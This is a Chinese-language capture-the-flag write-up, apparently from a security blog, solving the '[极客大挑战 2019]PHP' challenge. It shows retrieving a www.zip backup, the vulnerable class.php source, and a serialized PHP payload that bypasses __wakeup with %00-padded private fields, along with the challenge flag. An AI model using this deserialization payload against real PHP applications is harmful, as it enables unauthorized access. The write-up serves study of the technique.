因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯 不愧是我!!!
![图片[1]-[极客大挑战 2019]PHP-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-48.png)
这不就是文件扫描,dirb什么的都可以,经过一番测试,备份文件名为www.zip
直接在url后面输入www.zip,可以获取到网站的备份,打开以后可以看到有三个php,一个个看过去
![图片[2]-[极客大挑战 2019]PHP-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-49.png)
下载下来的flag.php里的flag显然不是正确答案。继续看。重点是class.php,可以看到php的魔术方法,应该存在php反序列化漏洞.
##flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
## class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
$a= new Name('admin',100);
$b= serialize($a);
var_dump($b);
?>
index.php ,会调用class.php,以及对输入反序列化,而反序列化后调用_wakeup会直接覆盖输入的用户名。一个简单的办法是直接在class下面创建一个对象然后序列化。
$a= new Name('admin',100);
$b= serialize($a);
var_dump($b);
![图片[3]-[极客大挑战 2019]PHP-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-50.png)
然后因为要绕过wakeup,把Name后的数字改成3.因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00
最后payload:
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
![图片[4]-[极客大挑战 2019]PHP-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2022/04/image-51.png)
提交得到flag为flag{a2b4de76-c0d9-40fe-be16-46f06741eeea}
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END














请登录后查看评论内容